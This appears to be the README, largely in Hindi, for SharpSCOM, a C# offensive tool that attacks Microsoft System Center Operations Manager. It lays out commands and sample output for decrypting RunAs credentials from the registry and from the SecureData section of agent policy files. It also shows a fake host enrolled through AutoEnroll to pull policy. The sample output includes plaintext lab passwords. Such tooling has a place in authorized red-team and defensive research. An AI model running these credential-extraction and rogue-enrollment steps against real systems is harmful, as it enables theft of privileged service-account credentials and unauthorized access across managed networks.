
SCOM के साथ इंटरैक्ट करने के लिए एक C# उपयोगिता
Microsoft System Center Operations Manager (SCOM) के साथ इंटरैक्ट करने के लिए एक C# टूल।
इस टूल का परीक्षण SCOM सर्वर संस्करण 10.22.10118.0 के विरुद्ध किया गया है।
SSPI एकीकरण Kevin Thompson (antiduh) की nsspi लाइब्रेरी के माध्यम से प्रदान किया गया है, जो BSD-2 लाइसेंस के अंतर्गत जारी की गई है।
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
Usage: SharpSCOM <command> [options]
Commands:
RegisterAgent Register a new agent with SCOM server
RegisterCertificate Assign a certificate to an existing agent
RequestPolicy Request policy from SCOM server
DownloadPolicy Download policy from SCOM server
AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
DecryptPolicy Decrypt SecureData section from a policy file
DecryptRunAs Extract and decrypt RunAs credentials from registry
Common Options:
/hostname:<name> Computer hostname (default: current machine)
/managementgroup:<mg> SCOM management group name
/server:<server> SCOM server address
/port:<port> SCOM server port (default: 5723)
/outfile:<file> Output file path
/data:<base64> Base64-encoded data
/key:<xml> RSA private key in XML format
/verbose Enable verbose output
/help Show this help message
Examples:
SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
SharpSCOM DecryptRunAs
निम्नलिखित कमांड उस सर्वर पर चलाने के लिए हैं जो वर्तमान में SCOM के साथ पंजीकृत है। यदि RunAs क्रेडेंशियल उपयोग में हैं और सर्वर पर वितरित किए गए हैं, तो हम प्लेनटेक्स्ट क्रेडेंशियल प्राप्त करने के लिए नीचे दिए गए कमांड का उपयोग कर सकते हैं।
रजिस्ट्री से RunAs क्रेडेंशियल निकालें और डिक्रिप्ट करें (स्थानीय एडमिन विशेषाधिकार आवश्यक हैं):
SharpSCOM.exe decryptrunas
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials
Username: ludus\opsmgr_action
Password: Password123
Username: ludus\opsmgr_dataread
Password: Password123
Username: ludus\opsmgr_datawrite
Password: Password123
Username: ludus\runas_account
Password: SuperSecure!
[+] Completed
एजेंट पॉलिसी XML फ़ाइल के SecureData अनुभाग के भीतर संग्रहीत RunAs क्रेडेंशियल निकालें और डिक्रिप्ट करें। डिफ़ॉल्ट रूप से यह C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config पर पाया जा सकता है।
यह कमांड Local Machine\Microsoft Monitoring Agent स्टोर में वर्तमान SCOM RunAs प्रमाणपत्र का पता लगाएगा और डिक्रिप्शन के लिए संबद्ध निजी कुंजी का उपयोग करेगा।
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
यदि हमारे पास किसी डोमेन से जुड़े होस्ट का नियंत्रण है जो वर्तमान में SCOM के साथ पंजीकृत नहीं है, तो हम डिवाइस को पंजीकृत करने का प्रयास कर सकते हैं और नीचे दी गई आवश्यकताओं के पूर्ण होने पर एजेंट पॉलिसी XML फ़ाइल का अनुरोध कर सकते हैं।
आवश्यकताएँ:
नया डिवाइस पंजीकृत करने के लिए, SCOM एजेंट नीचे दिए गए 4 संदेशों में से प्रत्येक को SCOM सर्वर को भेजेगा।
| Command | Description |
|---|---|
RegisterAgent | SCOM सर्वर के साथ नया एजेंट पंजीकृत करें |
RegisterCertificate | मौजूदा एजेंट को प्रमाणपत्र निर्दिष्ट करें |
RequestPolicy | SCOM सर्वर से पॉलिसी का अनुरोध करें |
DownloadPolicy | SCOM सर्वर से पॉलिसी डाउनलोड करें |
परीक्षण उद्देश्यों के लिए, उपरोक्त प्रत्येक संदेश को SharpSCOM में संबंधित कमांड का उपयोग करके SCOM सर्वर को अलग-अलग भेजा जा सकता है।
नोट: SCOM सर्वर इन संदेशों को एक मल्टी-मैसेज अनुरोध के भाग के रूप में एक साथ प्राप्त करने की अपेक्षा करता है। एजेंट पॉलिसी फ़ाइल को विश्वसनीय रूप से प्राप्त करने के लिए, हमें
AutoEnrollकमांड का उपयोग करना चाहिए, जोRegisterAgent,RegisterCertificateऔरRequestPolicyकमांड को एक मल्टी-पार्ट संदेश के रूप में एक साथ भेजेगा।
AutoEnroll कमांड भेजने के बाद, SCOM सर्वर से प्राप्त प्रतिक्रिया स्वचालित रूप से पार्स की जाएगी और एजेंट पॉलिसी XML फ़ाइल डाउनलोड करने के लिए अंतिम DownloadPolicy संदेश उत्पन्न करने हेतु उपयोग की जाएगी।
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1